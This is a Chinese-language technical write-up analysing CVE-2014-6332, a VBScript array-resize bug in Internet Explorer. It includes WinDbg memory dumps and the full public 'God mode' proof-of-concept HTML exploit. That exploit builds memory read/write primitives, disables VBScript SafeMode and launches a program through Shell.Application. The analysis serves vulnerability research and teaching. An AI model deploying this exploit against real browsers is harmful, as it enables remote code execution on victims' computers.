基础知识

VBScript 变量内存分布

VBScript 变量在内存中占用0x10个字节，其定义是VARIANT结构体，结构如下

其中前两个字节用来标识变量类型，结构为VARTYPE。

定义如下的类型，我们在内存中进行查看：

```
<SCRIPT LANGUAGE="VBScript">
dim i, mystring
i = &h12345678
mystring = "hello world"
IsEmpty(i) #IsEmpty函数返回一个布尔值，指示是否已初始化指定的变量。如果变量未初始化，则返回true；否则，返回False。
IsEmpty(mystring)
</script>
```

```
0:014> sxe ld:vbscript
0:005> bp vbscript!VbsIsEmpty
0:005> bl
 0 e x86 00000000`72dac206     0001 (0001)  0:**** vbscript!VbsIsEmpty
0:005> g
Breakpoint 0 hit
vbscript!VbsIsEmpty:
72dac206 8bff            mov     edi,edi
0:005:x86> dd poi(esp+c)
[0-2] type = 3 [3-8] Reserved [9-c] data High [d-0x10] data low
0059e940  00000003 00000000 12345678 00000000
0059e950  0000400c 00000000 0059d150 00000000
0059e960  0000400c 00000000 0059d11c 00000000
0:005:x86> dd 02de0f78
[0-2] type = 8 [3-8] Reserved [9-c] data High [d-0x10] data low
02de0f78  00000008 00000000 00418a6c 00000000
02de0f88  00000000 00000000 64fcdad3 0003479a
02de0f98  02ddefe8 0053cdf0 00000000 00000000
02de0fa8  00000000 00000000 00000000 00000000
02de0fb8  00000000 00000000 00000000 00000000
02de0fc8  00000000 00000000 00000000 00000000
02de0fd8  00000000 00000000 00000000 00000000
02de0fe8  00000000 00000000 00000000 00000000
0:005:x86> du 00418a6c
00418a6c  "hello world"
```

上面调试输出日志可以看出变量在Vbscript 中存储的内存布局。

数组内存分布

在Vbscript引擎中，数组的结构定义为SAFEARRAY 和 SAFEARRAYBOUND

```
typedef struct tagSAFEARRAY
{
    USHORT cDims; //数组的维度
    USHORT fFeatures;//用来描述数组如何分配和释放的标志
    ULONG cbElements; //数组元素的大小
    ULONG cLocks;//计数器，用来记录该数组被锁定的次数
    PVOID pvData; //数据的缓冲区指针
    SAFEARRAYBOUND rgsabound[1];//描述数组每维的数组结构，该数组的大小是可变的
} SAFEARRAY, *LPSAFEARRAY;

typedef struct tagSAFEARRAYBOUND
 {
    ULONG cElements; //元素个数
    LONG lLbound; //索引的起始值
} SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
```

我们使用如下的代码来查看数据在VBScript中的内存分布情况

```
<SCRIPT LANGUAGE="VBScript">
dim aa()
dim ab()
redim aa(5)
redim ab(5)#重新分配存储空间
redim Preserve aa(6)#修饰符 Preserve 当仅更改最后一个维度的大小时，用来保留现有数组中的数据
redim ab(6)
aa(0) = &h12345678
aa(1) = &habcdef12
ab(0) = "hellow ab0"
ab(1) = "hellow ab1"
IsEmpty(aa)
IsEmpty(ab)
</script>
```

windbg调试数据如下

```
0:013> sxe ld:vbscript
0:013> g
ModLoad: 00000000`715d0000 00000000`7163b000   C:\Windows\SysWOW64\vbscript.dll
ntdll!ZwMapViewOfSection+0xa:
00000000`76d9159a c3              ret
0:005> bp vbscript!VbsIsEmpty
breakpoint 1 redefined
0:005> g
Breakpoint 0 hit
vbscript!VbsIsEmpty:
715ec206 8bff            mov     edi,edi
0:005:x86> dd poi(esp+c)
029bf6b0  0000600c 00000000 002aeec8 00795c38
029bf6c0  0000400c 00000000 002aeef4 00000000
029bf6d0  0000400c 00000000 002aeebc 00000000
029bf6e0  00000000 00000000 00000000 00000000
029bf6f0  00000000 00000000 00000000 00000000
029bf700  00000000 00000000 00000000 00000000
029bf710  e4fdde55 000211c5 002a00c4 029c1cc0
029bf720  00000000 00000000 00000000 00000000
address 002aeec8 = aa = SAFEARRAY
0:005:x86> dd poi(002aeec8)
00795c38  08800001 00000010 00000000 00722c58
00795c48  00000007 00000000 4cfe9617 88000000
00795c58  722ccaf0 00000001 71f47be0 007502d8
00795c68  71f2f9f8 007680a0 71f81510 00000001
00795c78  00000006 00000000 4cfe960d 88000000
00795c88  722ccaf0 00000001 71f47be0 0075a348
00795c98  71f496f8 0075a348 71f42028 00000001
00795ca8  00000006 00000000 4cfe960b 80000000
0:005:x86> dt ole32!tagSAFEARRAY 00795c38
   +0x000 cDims            : 1
   +0x002 fFeatures        : 0x880
   +0x004 cbElements       : 0x10
   +0x008 cLocks           : 0
   +0x00c pvData           : 0x00722c58 Void
   +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
0:005:x86> dd 0x00722c58
   00722c58  00000003 00000000 12345678 00000000  //元素一
   00722c68  00000003 00000000 abcdef12 00000000  //元素二
   00722c78  00000000 00000000 00000000 00000000
   00722c88  00000000 00000000 00000000 00000000
```

经过第二次断点断下，我们来看下两个数组的内存分布,通过下面的数据可以看出，数组越界可以影响其他数据。

```
0:005:x86> dd 0x00722c58 l 50
00722c58  00000003 00000000 12345678 00000000 //aa[0]
00722c68  00000003 00000000 abcdef12 00000000 //aa[1]
00722c78  00000000 00000000 00000000 00000000 //aa[2]
00722c88  00000000 00000000 00000000 00000000 //aa[3]
00722c98  00000000 00000000 00000000 00000000 //aa[4]
00722ca8  00000000 00000000 00000000 00000000 //aa[5]
00722cb8  00000000 00000000 00000000 00000000 //aa[6]
00722cc8  4cfacd84 88000000
00722cd0  00000008 00000000 0077308c 0301d1c4 //ab[0]
00722ce0  00000008 00000000 0075ca7c 0301d1c4 //ab[1]
00722cf0  00000000 00000000 00000000 00000000 //ab[2]
00722d00  00000000 00000000 00000000 00000000 //ab[3]
00722d10  00000000 00000000 00000000 00000000 //ab[4]
00722d20  00000000 00000000 00000000 00000000 //ab[5]
00722d30  00000000 00000000 00000000 00000000 //ab[6]
00722d40  4cfacdb5 88000000 0000005a 00690066
```

修改SafeMode

VBScript 在IE中的权限是受限的，可以通过修改SafeMode标识符来控制，具体在COleCscript对象的偏移0x174地址处。正常的情况下，该值为0x0e，既运行在SafeMode下，但是如果通过漏洞利用可以将该值修改为0x00，VBScript便可以执行我们想要执行的系统命令。DVE技术的精髓：通过修改关键数据结构来获取任意数据操纵的能力，这就是袁哥所说的“上帝之手”。然后借”上帝之手”绕过dep+alsr+cfg+rfg等漏洞防御技术。
我们先通过如下的代码来验证SafeMode

```
<SCRIPT LANGUAGE="VBScript">
On Error Resume Next
sub testaa()
end sub
dim i,j
i=testaa
i=null
IsEmpty(i)
</script>
```

windbg调试数据如下

```
0:005> bp vbscript!VbsIsEmpty
0:005:x86> g
Breakpoint 2 hit
vbscript!VbsIsEmpty:
72a9c206 8bff            mov     edi,edi
0:005:x86> dd poi(esp+c)
```

```
          VbNull           CScriptEntryPoint对象
  0069e720  00000001 00000080 0069e7b0 6e00006e
  0069e730  0000400c 00000000 0069fc7c 00000000
  0069e740  0000400c 00000000 0069faec 00000000
  0:005:x86> ln poi(0069e7b0)
  (72a84934)   vbscript!CScriptEntryPoint::`vftable'   | (72a9ab54)   vbscript!CEntryPointDispatch::`vftable'
  Exact matches:
      vbscript!CScriptEntryPoint::`vftable' = <no type information>
  0:005:x86> dd 0069e7b0
  0069e7b0  72a84934 00000001 0069fc08 02990a20
  0069e7c0  02990d54 00000000 0069fc08 0069d0e0
  0069e7d0  4add8835 0000e322 02990d90 0069fe88
  0:005:x86> dd 0069fc08
  0069fc08  00000006 00000000 00000000 00000000
  0069fc18  0069cdf0 00000000 0069cfc8 00693350
  0069fc28  02990a20 02990a20 67dc8819 0c00e321
  0069fc38  00000008 00000000 0069fc08 00421946
  0069fc48  61dc881f 0800e324 72a84934 00000002
  0:005:x86> dd 0069cdf0
  0069cdf0  72a84868 72a84ab4 72a84410 72a843f8
  0069ce00  72a843e0 72a843cc 72a843bc 72a84388
  0069ce10  72a84d0c 72a84378 72a84368 72a84350
  0069ce20  72a8433c 72a84cfc 72a84ce4 72a84328
  0069ce30  72a84318 00000000 00000000 00000006
  0:005:x86> ln 72a84868
  (72a84868)   vbscript!COleScript::`vftable'   | (72a9fdbc)   vbscript!`string'
  Exact matches:
      vbscript!COleScript::`vftable' = <no type information>
  0:005:x86> dd 0069cdf0+174
  0069cf64  0000000e 00000000 00000000 00000000
  0069cf74  00000000 00000000 003e52a8 00000000
```

通过如上的数据我们可以看出，i的类型虽然是vbNull,但是通过赋值函数地址，其实i的值域已经保存了CScriptEntryPoint的地址。于是就存在如下的关系

```
*(*(CScriptEntryPoint+8)+16) = COleScriptObject
COleScriptObject+0x174 = SafeModeMark
```

漏洞分析

```
//*
   allie(win95+ie3-win10+ie11) dve copy by yuange in 2009.
   cve-2014-6332 exploit
   https://twitter.com/yuange75
   http://hi.baidu.com/yuange1975

*//

<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>

<SCRIPT LANGUAGE="VBScript">

function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
end function

</script>

<SCRIPT LANGUAGE="VBScript">

dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

Begin()

function Begin()
  On Error Resume Next
  info=Navigator.UserAgent

  if(instr(info,"Win64")>0)   then //判断系统位数和IE版本
     exit   function
  end if

  if (instr(info,"MSIE")>0)   then
            intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
     exit   function

  end if
```

```
  win9x=0

  BeginInit()//初始化数组
  If Create()=True Then
     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

     if(intVersion<4) then
         document.write("<br> IE")
         document.write(intVersion)
         runshellcode()
     else
          setnotsafemode()
     end if
  end if
end function

function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
       document.write(i)
       Create=True
       Exit For
    End If
  Next
end function

sub testaa()
end sub

function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)

     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310
     mydata=aa(a1)
     redim  Preserve aa(a0)
end function


function setnotsafemode()
    On Error Resume Next
    i=mydata()
    i=readmemo(i+8)
    i=readmemo(i+16)//COleScriptObject
    j=readmemo(i+&h134)
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
              j=0
              redim  Preserve aa(a2)
     aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0)

     j=0
              j=readmemo(i+&h120+k)

              Exit for
         end if
    next
    ab(2)=1.69759663316747E-313

    runmumaa()
end function

function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000

    redim  Preserve aa(a0) //重新分配
    redim   ab(a0)        //重新分配

    redim  Preserve aa(a2)
```

```
    type1=1
    ab(0)=1.12345678901234567890123456789O  //'用作标记值'
    aa(a0)=10

    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then
                 If(IsObject(aa(a1)) = False ) Then
                   type1=VarType(aa(a1))
                end if
              end if
           else
             redim  Preserve aa(a0)
             exit  function

           end if
        else
           if(vartype(aa(a1-1))<>0)  Then
              If(IsObject(aa(a1)) = False ) Then
                 type1=VarType(aa(a1))
              end if
            end if
        end if
    end if


    If(type1=&h2f66) Then
          Over=True
    End If
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If

    redim  Preserve aa(a0)

end function

function ReadMemo(add)
    On Error Resume Next
    redim  Preserve aa(a2)

    ab(0)=0
    aa(a1)=add+4
    ab(0)=1.69759663316747E-313
    ReadMemo=lenb(aa(a1))

    ab(0)=0

    redim  Preserve aa(a0)
end function

</script>

</body>
</html>
```

POC 中主要使用如下的代码获得读写内存的权限，我们来看漏洞的成因以及如何获得读写内存的权限。

```
  redim  Preserve aa(a0) //重新分配
  redim   ab(a0)        //重新分配
  redim  Preserve aa(a2)
```

redim函数最终调用OLEAUT32.dll里的SafeArrayRedim函数来实现。SafeArrayRedim函数定义如下

```
HRESULT SafeArrayRedim(
_Inout_ SAFEARRAY *psa,           //psa即是要改变大小并重新分配内存的数组.
_In_ SAFEARRAYBOUND *psaboundNew  //psaboundNew里的cElements即是改变后的大小。
);
```

我们主要来看下aa函数重新分配的过程。

```
  0:005:x86> g
  Breakpoint 2 hit
  OLEAUT32!SafeArrayRedim:
  764dec2c 8bff            mov     edi,edi
  0:005:x86> dd 006fd4d8
  006fd4d8  08800001 00000010 00000000 04773d98
  006fd4e8  0000001f 00000000 60edc34b 88000000
  006fd4f8  00000000 00000000 00000000 0000000c
  006fd508  08800001 00000010 00000000 04784ca8
  006fd518  0000001f 00000000 60edc371 80000000
  006fd528  00000038 00000000 00000000 00000000
  006fd538  00000000 00000000 00000000 00000000
  006fd548  00000000 00000000 60edc37f 80000000
  0:005:x86> dt ole32!SAFEARRAYBOUND 006fd4e8
     +0x000 cElements        : 0x1f
     +0x004 lLbound          : 0n0
     0:005:x86> dt ole32!SAFEARRAYBOUND 006fd4e8
```

```
        +0x000 cElements        : 0x800001f
        +0x004 lLbound          : 0n0
```

这样就可以通过数组越界来读写内存了。

我们来看下Over函数执行完毕之后，aa和ab内存布局

```
0:005:x86> dd 0049c440 l 200
0049c440  00000000 00000000 00000000 00000000 aa[0]
0049c450  00000000 00000000 00000000 00000000 aa[1]
...
0049c830  00000002 00000000 d374000a 3ff1f9ad aa[a0]
0049c840  821b6c97 08008c63
0049c848  00000005 00000000 d3746f66 3ff1f9ad ab[0]
0049c858  00000000 00000000 00000000 00000000
0049c868  00000000 00000000 00000000 00000000
0049c878  00000000 00000000 00000000 00000000
0049c888  00000000 00000000 00000000 00000000
0049c898  00000000 00000000 00000000 00000000
0049c8a8  00000000 00000000 00000000 00000000
0049c8b8  00000000 00000000 00000000 00000000
```

ab的pvData在aa的8个字节之后，只是一种可能性，如何判断内存布局确是如此呢？ ab(0)=1.1234567890123456789012345678 90，此浮点数值编码后在内存里就是d3746f66，3ff1f9ad。02dac988即是ab(0)的内存，ab(0)赋值浮点数使02dac990开始的连续8个字节分别是d3746f66和3ff1f9ad。而02dac990算是aa(a1)元素，该元素的类型应该是0x6f66，但VarType函数取该值后会和0xBFFF逻辑与，0x6f66&0xBFFF=0x2F66，所以用 type1=&h2f66作为aa和ab确实错位重叠的依据。

在完成内存的布局后，exploit就可以借助ab数组元素的赋值操作来aa数组元素的Type字段进行更改，从而实现类型的混淆，接下去我们将分析exploit中用到的类型混淆手法以及由此得到的Read primitive。

来看下Mydata()函数，它会通过如下代码将testaa函数对象指针赋给i：

```
html On Error Resume Next
i=testaa
i=null
接着是与类型混淆有关的那部分代码：

redim Preserve aa(a2) '对aa数组进行corrupt'
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314 '0x0000000300000003'
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310 '0x0000200c0000200c'
Mydata=aa(a1)
redim Preserve aa(a0) '恢复aa数组至corrupt前'
```

这里面会进行两次类型混淆处理，首先由于变量i的类型为null(0x01)，因此需要将其转成longinteger(0x03)后再返回，该函数对象指针事实上就是CScriptEntryPoint对象的指针。而myarray中则保存着精心构造的SAFEARRAY结构，最初赋给aa(a1+2)时其类型为string(0x08)，需要将其类型改为Variant数组，这在后面获取Write primitive时会用到。对应的调试过程如下：

```
ab(0)=6.36598737437801E-314 '0x0000000300000003' 通过该条语句其实将aa(a1)修改成了长整型。
0:005:x86> dd 008261d8
008261d8  00000005 00000000 00000003 00000003
008261e8  0274cf60 aa000fa5 00000000 00000000
008261f8  00000000 00000000 00000000 00000000
00826208  00000000 00000000 00000000 00000000
0:005:x86> ln poi(0274cf60)
(72174934)   vbscript!CScriptEntryPoint::`vftable'   |  (7218ab54)   vbscript!CEntryPointDispatch::`vftable'
Exact matches:
    vbscript!CScriptEntryPoint::`vftable' = <no type information>
```

对ab(0)赋值，ab(0)=1.69759663316747E-313，其内存布局是0800000008000000，恰好把aa(a1)类型修改为VT_BSTR，也即vbscript此后会把aa(a1)看做BSTR类型,最后可以读取到COleScriptObject：

修改SafeMode，开启上帝模式

```
aa(a1+2)(i+&h11c+k)=ab(4)
```